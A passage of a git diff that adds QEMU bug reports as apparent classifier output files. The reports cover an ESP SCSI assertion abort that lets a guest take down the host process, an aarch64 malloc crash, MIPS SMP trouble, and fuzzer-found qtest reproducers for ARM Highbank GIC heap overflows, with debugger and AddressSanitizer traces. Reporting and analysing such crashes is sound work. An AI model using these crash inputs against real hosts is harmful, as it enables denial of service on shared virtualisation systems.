user/process could use this flaw to abort the QEMU process on the host, resulting in a denial of service. + +This was found in version 5.2.0 (master) + + +qemu-system-i386: ../hw/scsi/esp.c:402: void esp_do_dma(ESPState *): Assertion `s->cmdlen <= sizeof(s->cmdbuf) && len <= sizeof(s->cmdbuf) - s->cmdlen' failed. + +#0 __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51 +51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. +[Current thread is 1 (Thread 0x7fdd25dc4700 (LWP 28983))] +gdb-peda$ bt +#0 0x00007fdd3f8b5f47 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51 +#1 0x00007fdd3f8b78b1 in __GI_abort () at abort.c:79 +#2 0x00007fdd3f8a742a in __assert_fail_base (fmt=0x7fdd3fa2ea38 "%s%s%s:%u: %s%sAssertion `%s' failed.\\n%n", assertion=assertion@entry=0x55b3e11a51c6 "s->cmdlen <= sizeof(s->cmdbuf) && len <= sizeof(s->cmdbuf) - s->cmdlen", file=file@entry=0x55b3e11a4f73 "../hw/scsi/esp.c", line=line@entry=0x192, function=function@entry=0x55b3e11a520d "void esp_do_dma(ESPState *)") at assert.c:92 +#3 0x00007fdd3f8a74a2 in __GI___assert_fail (assertion=0x55b3e11a51c6 "s->cmdlen <= sizeof(s->cmdbuf) && len <= sizeof(s->cmdbuf) - s->cmdlen", file=0x55b3e11a4f73 "../hw/scsi/esp.c", line=0x192, function=0x55b3e11a520d "void esp_do_dma(ESPState *)") at assert.c:101 +#4 0x000055b3e0941441 in esp_do_dma (s=0x55b3e49d1c88) at ../hw/scsi/esp.c:401 +#5 0x000055b3e0944261 in handle_ti (s=0x55b3e49d1c88) at ../hw/scsi/esp.c:549 +#6 0x000055b3e093fdf9 in esp_dma_enable (s=0x55b3e49d1c88, irq=<optimized out>, level=<optimized out>) + at ../hw/scsi/esp.c:79 +#7 0x000055b3e0897930 in esp_pci_dma_write (pci=<optimized out>, saddr=<optimized out>, val=<optimized +out>) at ../hw/scsi/esp-pci.c:83 +#8 0x000055b3e0897930 in esp_pci_io_write (opaque=<optimized out>, addr=<optimized out>, val=0xcf, size=0x4) at ../hw/scsi/esp-pci.c:209 +#9 0x000055b3e0e8f798 in memory_region_write_accessor (mr=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) + at ../softmmu/memory.c:491 +#10 0x000055b3e0e8f58e in access_with_adjusted_size (addr=<optimized out>, value=<optimized out>, size=<optimized out>, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=<optimized out>, mr=<optimized out>, attrs=...) at ../softmmu/memory.c:552 +#11 0x000055b3e0e8f58e in memory_region_dispatch_write (mr=0x55b3e49d1b70, addr=<optimized out>, data=<optimized out>, op=<optimized out>, attrs=...) at ../softmmu/memory.c:1501 +#12 0x000055b3e0e21541 in address_space_stb (as=<optimized out>, addr=<optimized out>, val=0xffffffcf, attrs=..., result=0x0) at ../memory_ldst.c.inc:382 +#13 0x00007fdcd84a4a7f in code_gen_buffer () +#14 0x000055b3e0e57da0 in cpu_tb_exec (cpu=0x55b3e3c33650, itb=<optimized out>) + at ../accel/tcg/cpu-exec.c:178 +#15 0x000055b3e0e589eb in cpu_loop_exec_tb (tb=<optimized out>, cpu=<optimized out>, last_tb=<optimized +out>, tb_exit=<optimized out>) at ../accel/tcg/cpu-exec.c:658 +#16 0x000055b3e0e589eb in cpu_exec (cpu=0x55b3e3c33650) at ../accel/tcg/cpu-exec.c:771 +#17 0x000055b3e0e87b9f in tcg_cpu_exec (cpu=<optimized out>) at ../accel/tcg/tcg-cpus.c:243 +#18 0x000055b3e0e87b9f in tcg_cpu_thread_fn (arg=0x55b3e3c33650) at ../accel/tcg/tcg-cpus.c:427 +#19 0x000055b3e115f775 in qemu_thread_start (args=<optimized out>) at ../util/qemu-thread-posix.c:521 +#20 0x00007fdd3fc6f6db in start_thread (arg=0x7fdd25dc4700) at pthread_create.c:463 +#21 0x00007fdd3f998a3f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +To reproduce the assertion failure, please run the QEMU with the following command line. + + +$ ./qemu-system-i386 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw -device am53c974,id=scsi -device scsi-hd,drive=SysDisk -drive id=SysDisk,if=none,file=./disk.img + +Please let me know if I can provide any further info. + +Thank you. + +- Cheolwoo, Myung (Seoul National University) + + + +It looks like this reproducer triggers the same bug as #1919036, as of 3f8d1885e + +Can you still reproduce the issue with QEMU v6.0? For me, the attached reproducer does not cause a crash anymore... + +As Alexander already wrote, this triggered the same bug as #1919036 which got fixed by commit 0ebb5fd80589835153a0c2baa1b8cc7a04e67a93. Since this is not reproducible anymore, I'm closing this bug now. If you still can reproduce it somehow, please open a new ticket in the new gitlab issue tracker. + diff --git a/results/classifier/deepseek-1/output/resolution./1863486 b/results/classifier/deepseek-1/output/resolution./1863486 new file mode 100644 index 00000000..6ae067da --- /dev/null +++ b/results/classifier/deepseek-1/output/resolution./1863486 @@ -0,0 +1,95 @@ + +aarch64/tcg crash with malloc(): unsorted double linked list corrupted + +Based on commit b29c3e23f64938784c42ef9fca896829e3c19120, +QEMU configured with --enable-debug --extra-cflags=-ggdb. + +Download Raspberry Pi 3 UEFI Firmware v1.15 from: +https://github.com/pbatard/RPi3/releases/tag/v1.15 +(unzip RPi3_UEFI_Firmware_v1.15.zip) + +Run QEMU with: + +$ qemu-system-aarch64 -M raspi3 \ + -serial null -serial stdio \ + -device loader,file=RPI_EFI.fd,force-raw=true + +Normal behavior: + +NOTICE: Booting Trusted Firmware +NOTICE: BL1: v2.1(release):v2.1 +NOTICE: BL1: Built : 15:26:06, May 13 2019 +NOTICE: rpi3: Detected: Raspberry Pi 3 Model B (1GB, Sony, UK) [0x00a02082] +NOTICE: BL1: Booting BL2 +ERROR: rpi3_sdhost: timeout status 0x40 +NOTICE: BL2: v2.1(release):v2.1 +NOTICE: BL2: Built : 15:26:01, May 13 2019 +NOTICE: BL1: Booting BL31 +NOTICE: BL31: v2.1(release):v2.1 +NOTICE: BL31: Built : 15:26:04, May 13 2019 +=UEFI firmware (version UEFI Firmware v1.15 built at 11:58:44 on Feb 14 2020) +======== + +Synchronous Exception at 0x0000000037A1A4E8 + +But I sometimes get: + +NOTICE: Booting Trusted Firmware +NOTICE: BL1: v2.1(release):v2.1 +NOTICE: BL1: Built : 15:26:06, May 13 2019 +NOTICE: rpi3: Detected: Raspberry Pi 3 Model B (1GB, Sony, UK) [0x00a02082] +NOTICE: BL1: Booting BL2 +ERROR: rpi3_sdhost: timeout status 0x40 +NOTICE: BL2: v2.1(release):v2.1 +NOTICE: BL2: Built : 15:26:01, May 13 2019 +NOTICE: BL1: Booting BL31 +NOTICE: BL31: v2.1(release):v2.1 +NOTICE: BL31: Built : 15:26:04, May 13 2019 +=UEFI firmware (version UEFI Firmware v1.15 built at 11:58:44 on Feb 14 2020) +========malloc(): unsorted double linked list corrupted + +Thread 3 "qemu-system-aar" received signal SIGABRT, Aborted. +[Switching to Thread 0x7fffe9c22700 (LWP 22746)] +0x00007ffff515ce35 in raise () from /lib64/libc.so.6 +(gdb) bt +#0 0x00007ffff515ce35 in raise () at /lib64/libc.so.6 +#1 0x00007ffff5147895 in abort () at /lib64/libc.so.6 +#2 0x00007ffff51a008f in __libc_message () at /lib64/libc.so.6 +#3 0x00007ffff51a740c in () at /lib64/libc.so.6 +#4 0x00007ffff51aa48c in _int_malloc () at /lib64/libc.so.6 +#5 0x00007ffff51aad4e in _int_memalign () at /lib64/libc.so.6 +#6 0x00007ffff51abdda in _mid_memalign () at /lib64/libc.so.6 +#7 0x00007ffff51ad3c6 in posix_memalign () at /lib64/libc.so.6 +#8 0x00007ffff7be2407 in slab_allocator_alloc_chunk () at /lib64/libglib-2.0.so.0 +#9 0x00007ffff7be3573 in g_slice_alloc () at /lib64/libglib-2.0.so.0 +#10 0x00007ffff7bf410a in g_tree_insert_internal () at /lib64/libglib-2.0.so.0 +#11 0x0000555555853f10 in tcg_tb_insert (tb=0x7fffd44b4d80 <code_gen_buffer+4934995>) at tcg/tcg.c:425 +#12 0x00005555558dbe3d in tb_gen_code (cpu=0x555556afa640, pc=933332960, cs_base=0, flags=2216689664, cflags=-16252928) at accel/tcg/translate-all.c:1875 +#13 0x00005555558d7c73 in tb_find (cpu=0x555556afa640, last_tb=0x7fffd44b4c40 <code_gen_buffer+4934675>, tb_exit=0, cf_mask=524288) at accel/tcg/cpu-exec.c:406 +#14 0x00005555558d8543 in cpu_exec (cpu=0x555556afa640) at accel/tcg/cpu-exec.c:730 +#15 0x00005555558981e1 in tcg_cpu_exec (cpu=0x555556afa640) at cpus.c:1405 +#16 0x0000555555898a37 in qemu_tcg_cpu_thread_fn (arg=0x555556afa640) at cpus.c:1713 +#17 0x0000555556057af8 in qemu_thread_start (args=0x555557511570) at util/qemu-thread-posix.c:519 +#18 0x00007ffff52f34c0 in start_thread () at /lib64/libpthread.so.0 +#19 0x00007ffff5221163 in clone () at /lib64/libc.so.6 + +Maybe the same problem we had with U-boot, the SoC starts with only 1 core enabled. + +I'm now trying with `-global bcm2836.enabled-cpus=1`. + +Philippe, can you still repro this? I automated it with this expect script: + +#!/usr/bin/expect +set timeout 60 +spawn /home/petmay01/linaro/qemu-from-laptop/qemu/build/x86/qemu-system-aarch64 -M raspi3 -serial null -serial stdio -display none -device loader,file=/tmp/RPI_EFI.fd,force-raw=true +expect { + "Synchronous Exception at 0x0000000037A1A4E8" { send_user "\nexiting\n" ; exit 0 } + timeout { exit 1 } + eof { exit 1 } +} + +and then a shell loop "while rpi.expect; do true; done" and didn't see an assertion either with current master or with the git commit you quote. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/resolution./1890069 b/results/classifier/deepseek-1/output/resolution./1890069 new file mode 100644 index 00000000..bb60128b --- /dev/null +++ b/results/classifier/deepseek-1/output/resolution./1890069 @@ -0,0 +1,154 @@ + +QEMU is not allowing multiple cores with mips architecture + +I may have found a bug as when trying to boot up an QEMU VM with the following command: "qemu-system-mips -M malta -m 512 -hda hda.img -kernel vmlinux-4.19.0-10-4kc-malta -initrd initrd.img-4.19.0-10-4kc-malta -append "root=/dev/sda1 console=ttyS0" -nographic -device e1000,netdev=user.0 -netdev user,id=user.0,hostfwd=tcp::5555-:22 -smp cores=12,threads=1,sockets=1", it will use up all of the CPU cores on the host, but not bootup? + +Kernel log also shows: +[ 100.303136] perf: interrupt took too long (2506 > 2500), lowering kernel.perf_event_max_sample_rate to 79750 +[ 107.656869] perf: interrupt took too long (3195 > 3132), lowering kernel.perf_event_max_sample_rate to 62500 +[ 117.668390] perf: interrupt took too long (4033 > 3993), lowering kernel.perf_event_max_sample_rate to 49500 +[ 217.166763] perf: interrupt took too long (5126 > 5041), lowering kernel.perf_event_max_sample_rate to 39000 +[ 231.910132] perf: interrupt took too long (6445 > 6407), lowering kernel.perf_event_max_sample_rate to 31000 +[ 250.170677] perf: interrupt took too long (8087 > 8056), lowering kernel.perf_event_max_sample_rate to 24500 +[ 285.391451] perf: interrupt took too long (10126 > 10108), lowering kernel.perf_event_max_sample_rate to 19750 +[ 778.588911] perf: interrupt took too long (12770 > 12657), lowering kernel.perf_event_max_sample_rate to 15500 +[ 1554.825129] perf: interrupt took too long (15982 > 15962), lowering kernel.perf_event_max_sample_rate to 12500 +[ 1622.838910] hrtimer: interrupt took 14758063 ns +[ 1712.932777] INFO: NMI handler (perf_event_nmi_handler) took too long to run: 0.000 msecs +[ 1712.932780] perf: interrupt took too long (59793 > 19977), lowering kernel.perf_event_max_sample_rate to 3250 + + +System details: + +OS: Ubuntu 20.04 +QEMU emulator version 4.2.0 (Debian 1:4.2-3ubuntu6.3) + +Hi Skyler, +mips emulation is rather rare - so there is always a chance that something broke without being recognized at first. For a start let me ask a few questions to corner the issue: + +1. did that work before and is a regression in the qemu 4.2 of Ubuntu? +2. check other versions - could you try the same with qemu 3.1 (Bionic) and 5.0 (groovy) of Ubuntu if it is the same? +3. after we know of the above if new/old versions were ok it could be worth checking pristine upstream qemu builds to see if any delta in Ubuntu has to be fixed. Depending on your time and ability to do so would you be able to build from tags of https://git.qemu.org/?p=qemu.git? +(TL;DR; add deb-src lines in /etc/apt/sources.list, apt build-dep qemu; + +In general maybe attach the kernel/initrd of your test so others can try the same. +I assume you used something like http://ftp.debian.org/debian/dists/stable/main/installer-mips/current/images/malta/netboot/ ? + +Once that is sorted we know better if we look at a "how to use question" or an actual bug - and for the latter if it is a regression of some sort (which would make us hunt for the offending change). + +I was quickly giving things a check but don't have the time to do the full matrix: + +The old bits from https://people.debian.org/~aurel32/qemu/mipsel/ +$ qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-4kc-malta -nographic -curses + +Later the kernels are more obviously split (mipsel/mips64/mips64el) build at https://people.debian.org/~jcowgill/qemu-mips/ +I can get to run with: +$ qemu-system-mips64el -M malta -cpu MIPS64R2-generic -m 2G -kernel vmlinux-4.15.0-1-5kc-malta.mips64el.sid -nographic -curses +$ qemu-system-mips64el -M malta -cpu MIPS64R2-generic -m 2G -kernel vmlinux-4.15.0-1-5kc-malta.mipsel.sid -nographic -curses +$ qemu-system-mips64 -M malta -cpu MIPS64R2-generic -m 2G -kernel vmlinux-4.15.0-1-5kc-malta.mips.sid -nographic -curses + +Zoning in to something close to your kernel that you've tried from http://ftp.debian.org/debian/dists/stable/main/installer-mips/current/images/malta/netboot/ +works with: +$ qemu-system-mips64 -M malta -cpu MIPS64R2-generic -m 2G -kernel vmlinux-4.19.0-10-4kc-malta -nographic -curses + +From here I was slowly getting more similar to your commandline. +Sill works: +$ qemu-system-mips -M malta -m 2G -kernel vmlinux-4.19.0-10-4kc-malta -nographic -curses +add initrd: +$ qemu-system-mips -M malta -m 2G -kernel vmlinux-4.19.0-10-4kc-malta -initrd initrd-4.19.0-10-4kc-$malta.gz -nographic -curses +Add net: +$ qemu-system-mips -M malta -m 2G -kernel vmlinux-4.19.0-10-4kc-malta -initrd initrd-4.19.0-10-4kc-malta.gz -nographic -curses -nographic -device e1000,netdev=user.0 -netdev user,id=user.0,hostfwd=tcp::5555-:22 +reduce memory: +$ qemu-system-mips -M malta -m 512 -kernel vmlinux-4.19.0-10-4kc-malta -initrd initrd-4.19.0-10-4kc-malta.gz -nographic -curses -nographic -device e1000,netdev=user.0 -netdev user,id=user.0,hostfwd=tcp::5555-:22 +kernel commandline: +$ qemu-system-mips -M malta -m 512 -kernel vmlinux-4.19.0-10-4kc-malta -initrd initrd-4.19.0-10-4kc-malta.gz -nographic -curses -nographic -device e1000,netdev=user.0 -netdev user,id=user.0,hostfwd=tcp::5555-:22 -append "root=/dev/sda1 console=ttyS0" + +All that worked, what got it stuck was the smp option that you used. +-smp 1 works +-smp 2 works +-smp 3 stuck +-smp 4 stuck + qemu-system-mips: /build/qemu-BQ4hMP/qemu-4.2/hw/acpi/cpu.c:198: cpu_hotplug_hw_init: Assertion + `mc->possible_cpu_arch_ids' failed. + Aborted (core dumped) +-smp 4 stuck (retry) +[ 0.000000] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: (null) + +With more memory I get slightly further until stuck, up to -smp 12 things won't get better. + + +Not sure how good/bad smp is in emulated mips - we are back to my initial question - did this work in the past and regressed - or is it instead an upstream feature request for (better) mips emu SMP? + +These are old, but might still be true: +https://lists.gnu.org/archive/html/qemu-devel/2013-06/msg04436.html +https://qemu-devel.nongnu.narkive.com/m6BNDsfR/does-qemu-support-mips-smp2-malta-board +https://<email address hidden>/msg10710.html + +If that is it then that is a natural limitation. + +The only bit I've seen mentioning >2 to work is +https://www.mips.com/blog/how-to-run-smp-linux-in-qemu-on-a-mips64-release-6-cpu/ + +But the I6400 cpu doesn't exist with newer qemus I7200 does but doesn't work either. +This seems like an upstream feature request to me, but one that was mostly denied 7 years ago (by architecture unable to do so). + +Let me know if this is a regression and if I missed something. +Otherwise yeah - you could start a new upstream discussion, but no promises it will end any different than the past ones. + +This hasn't worked at any point yet, as I'm trying to emulate MIPS that has more than one core that it can use for a workload. + +Images used: +http://ftp.debian.org/debian/dists/stable/main/installer-mips/current/images/malta/netboot/initrd.gz +http://ftp.debian.org/debian/dists/stable/main/installer-mips/current/images/malta/netboot/vmlinux-4.19.0-10-4kc-malta + +I don't know if -smp is the right thing to use for it to begin with, but that's the only thing I found that's even close to getting more cores to the system. + +My hardware that's running MIPS, is MIPS 1004Kc V2.15, and it has 4 cores. I'm trying to emulate it with QEMU. + +----------------------------------------------------------------------------------------------- +processor : 3 +cpu model : MIPS 1004Kc V2.15 +BogoMIPS : 581.63 +wait instruction : yes +microsecond timers : yes +tlb_entries : 32 +extra interrupt vector : yes +hardware watchpoint : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb] +isa : mips1 mips2 mips32r1 mips32r2 +ASEs implemented : mips16 dsp mt +shadow register sets : 1 +kscratch registers : 0 +package : 0 +core : 1 +VPE : 1 +VCED exceptions : not available +VCEI exceptions : not available +----------------------------------------------------------------------------------------------- + + +How can I test qemu 5.0 as groovy has not been released yet? + +Q: How can I test qemu 5.0 as groovy has not been released yet? +A: you can get that already, depending on your preferred way to deploy there are different options: + +You can download a daily build of the ISO: +http://cdimage.ubuntu.com/daily-live/current/ +http://cdimage.ubuntu.com/ubuntu-server/daily-live/current/ + +Cloud-images: +https://cloud-images.ubuntu.com/groovy/current/ + +Or you can upgrade a system that you already have via: +(I assume you do so from 20.04) +set in /etc/update-manager/release-upgrades +prompt=normal +Then run +$ do-release-upgrade -d + +Or (least impact to your existing system) use a container. +You only use emulation, so you don't even need tricks to expose x86 HW acceleration for virtualization, just get a 20.10 system and work in there as you'd normally. +$ lxc launch ubuntu-daily:g g-20.10 +$ lxc exec g-20.10 + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/resolved./1889621 b/results/classifier/deepseek-1/output/resolved./1889621 new file mode 100644 index 00000000..43cd3a36 --- /dev/null +++ b/results/classifier/deepseek-1/output/resolved./1889621 @@ -0,0 +1,400 @@ + +ARM Highbank Crashes Realted to GIC + +Hello, +Here are some QTest reproducers for crashes on ARM Highbank that all seem to be related to the gic device. + +Reproducer 1: +cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +-nographic -monitor none -serial none -qtest stdio +writel 0xfff11f00 0x8405f559 +writel 0xfff117fd 0x5c057bd8 +EOF + +==10595==ERROR: AddressSanitizer: SEGV on unknown address 0x62b000013e01 (pc 0x55b6ab85cc91 bp 0x7fff60bd4d70 sp 0x7fff60bd4ce0 T0) +==10595==The signal is caused by a READ memory access. + #0 0x55b6ab85cc91 in gic_get_current_cpu /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:60:12 + #1 0x55b6ab85e1bd in gic_dist_writeb /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1182:11 + #2 0x55b6ab855a97 in gic_dist_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1514:9 + #3 0x55b6aa1650d4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:503:12 + #4 0x55b6aa163ac6 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 + #5 0x55b6aa161f35 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1473:13 + #6 0x55b6a9313949 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 + #7 0x55b6a92fca11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 + #8 0x55b6a92fc54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +================================================================= + +Reproducer 2: +cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +-nographic -monitor none -serial none -qtest stdio +writeq 0xfff11f00 0x613a650f0fda6555 +EOF + +==1375==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000001c80 at pc 0x5618928c486e bp 0x7ffe22c4ee10 sp 0x7ffe22c4ee08 +READ of size 8 at 0x608000001c80 thread T0 + #0 0x5618928c486d in address_space_translate_iommu /home/alxndr/Development/qemu/general-fuzz/exec.c:451:23 + #1 0x561892850acc in flatview_do_translate /home/alxndr/Development/qemu/general-fuzz/exec.c:524:16 + #2 0x5618928514ad in flatview_translate /home/alxndr/Development/qemu/general-fuzz/exec.c:584:15 + #3 0x5618928b1e14 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3199:14 + #4 0x56189289aa11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 + #5 0x56189289a54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 + #6 0x5618937a5e13 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:452:13 + #7 0x56189379d89f in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 + #8 0x56189379c680 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 +================================================================= + +Reproducer 3: +cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +-nographic -monitor none -serial none -qtest stdio +writeq 0xfff11000 0x700000b +writeq 0xfff11f00 0x4f4f4fff54a7afaf +writel 0xfff10100 0x600001ff +EOF + +==23743==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006a92 at pc 0x55d690d980e1 bp 0x7ffe606082d0 sp 0x7ffe606082c8 +READ of size 1 at 0x62b000006a92 thread T0 + #0 0x55d690d980e0 in gic_get_best_irq /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:94:13 + #1 0x55d690d9485b in gic_update_internal /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:185:13 + #2 0x55d690d90376 in gic_update /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:226:5 + #3 0x55d690dc0879 in gic_cpu_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1758:9 + #4 0x55d690da41c0 in gic_thiscpu_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1777:12 + #5 0x55d68f6b30d4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:503:12 + #6 0x55d68f6b1ac6 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 + #7 0x55d68f6aff35 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1473:13 + #8 0x55d68e861949 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 + #9 0x55d68e84aa11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 + #10 0x55d68e84a54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 + #11 0x55d68f755537 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:447:13 + #12 0x55d68f74d89f in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 + #13 0x55d68f74c680 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 + #14 0x55d692dddc36 in qemu_chr_be_write_impl /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:188:9 + #15 0x55d692dddd79 in qemu_chr_be_write /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:200:9 + #16 0x55d692df105e in fd_chr_read /home/alxndr/Development/qemu/general-fuzz/chardev/char-fd.c:68:9 + #17 0x55d692f395df in qio_channel_fd_source_dispatch /home/alxndr/Development/qemu/general-fuzz/io/channel-watch.c:84:12 + #18 0x7f69a1b50897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) + #19 0x55d6932f5c83 in glib_pollfds_poll /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:217:9 + #20 0x55d6932f35b6 in os_host_main_loop_wait /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:240:5 + #21 0x55d6932f2f97 in main_loop_wait /home/alxndr/Development/qemu/general-fuzz/util/main-loop.c:516:11 + #22 0x55d68f76c62d in qemu_main_loop /home/alxndr/Development/qemu/general-fuzz/softmmu/vl.c:1676:9 + #23 0x55d692f6f20c in main /home/alxndr/Development/qemu/general-fuzz/softmmu/main.c:49:5 + #24 0x7f69a06d6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 + #25 0x55d68e753459 in _start (/home/alxndr/Development/qemu/general-fuzz/build/arm-softmmu/qemu-system-arm+0x3254459) + +0x62b000006a92 is located 2 bytes to the right of 26768-byte region [0x62b000000200,0x62b000006a90) +allocated by thread T0 here: + #0 0x55d68e7cbe4d in malloc (/home/alxndr/Development/qemu/general-fuzz/build/arm-softmmu/qemu-system-arm+0x32cce4d) + #1 0x7f69a1b56500 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54500) + #2 0x55d69254f231 in object_new /home/alxndr/Development/qemu/general-fuzz/qom/object.c:708:12 + #3 0x55d69034bf01 in qdev_new /home/alxndr/Development/qemu/general-fuzz/hw/core/qdev.c:136:12 + #4 0x55d68f2b7aa4 in calxeda_init /home/alxndr/Development/qemu/general-fuzz/hw/arm/highbank.c:319:15 + #5 0x55d68f2b6466 in highbank_init /home/alxndr/Development/qemu/general-fuzz/hw/arm/highbank.c:411:5 + #6 0x55d6903d43f1 in machine_run_board_init /home/alxndr/Development/qemu/general-fuzz/hw/core/machine.c:1134:5 + #7 0x55d68f77e0ee in qemu_init /home/alxndr/Development/qemu/general-fuzz/softmmu/vl.c:4356:5 + #8 0x55d692f6f207 in main /home/alxndr/Development/qemu/general-fuzz/softmmu/main.c:48:5 + #9 0x7f69a06d6e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 + + +Let me know if I can provide any further info. +-Alex + +Why put all these bugs in the same ticket? + +For reproducer #2: + +writeq 0xfff11f00 0x613a650f0fda6555 does: + +gic_dist_write dist write at 0x00000f00 size 4: 0x0fda6555 + +0x0fda6555 => IRQ 341, mask type 3 illegal -> DPRINTF("Bad Soft Int target filter\n"); + +mask = ALL_CPU_MASK = 0xff + +Having: + +#define GIC_NR_SGIS 16 +uint8_t sgi_pending[GIC_NR_SGIS][GIC_NCPU]; + +s->sgi_pending[irq][target_cpu] |= (1 << cpu); + ^^^ + \ OOB access. + +I haven't looked at reproducer #1, but is it a fuzzer-specific variant of LP:1602247 (trying to read the "for this CPU" registers from something other than a CPU doesn't work) ? + + +On 200730 1531, Philippe Mathieu-Daudé wrote: +> Why put all these bugs in the same ticket? + +Thought they might have a similar root cause, though that is evidently +wrong.. + +> For reproducer #2: +> +> writeq 0xfff11f00 0x613a650f0fda6555 does: +> +> gic_dist_write dist write at 0x00000f00 size 4: 0x0fda6555 +> +> 0x0fda6555 => IRQ 341, mask type 3 illegal -> DPRINTF("Bad Soft Int +> target filter\n"); +> +> mask = ALL_CPU_MASK = 0xff +> +> Having: +> +> #define GIC_NR_SGIS 16 +> uint8_t sgi_pending[GIC_NR_SGIS][GIC_NCPU]; +> +> s->sgi_pending[irq][target_cpu] |= (1 << cpu); +> ^^^ +> \ OOB access. +> +> ** Changed in: qemu +> Status: New => Confirmed +> +> ** Tags added: arm +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1889621 +> +> Title: +> ARM Highbank Crashes Realted to GIC +> +> Status in QEMU: +> Confirmed +> +> Bug description: +> Hello, +> Here are some QTest reproducers for crashes on ARM Highbank that all seem to be related to the gic device. +> +> Reproducer 1: +> cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +> -nographic -monitor none -serial none -qtest stdio +> writel 0xfff11f00 0x8405f559 +> writel 0xfff117fd 0x5c057bd8 +> EOF +> +> ==10595==ERROR: AddressSanitizer: SEGV on unknown address 0x62b000013e01 (pc 0x55b6ab85cc91 bp 0x7fff60bd4d70 sp 0x7fff60bd4ce0 T0) +> ==10595==The signal is caused by a READ memory access. +> #0 0x55b6ab85cc91 in gic_get_current_cpu /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:60:12 +> #1 0x55b6ab85e1bd in gic_dist_writeb /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1182:11 +> #2 0x55b6ab855a97 in gic_dist_write /home/alxndr/Development/qemu/general-fuzz/hw/intc/arm_gic.c:1514:9 +> #3 0x55b6aa1650d4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:503:12 +> #4 0x55b6aa163ac6 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 +> #5 0x55b6aa161f35 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1473:13 +> #6 0x55b6a9313949 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 +> #7 0x55b6a92fca11 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 +> #8 0x55b6a92fc54e in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 +> ================================================================= +> +> Reproducer 2: +> cat << EOF | ./arm-softmmu/qemu-system-arm -machine highbank \ +> -nographic -monitor none -serial none -qtest stdio +> writeq 0xfff11f00 0x613a650f0fda6555 +> EOF +> +> ==1375==ERROR: AddressSanitizer: 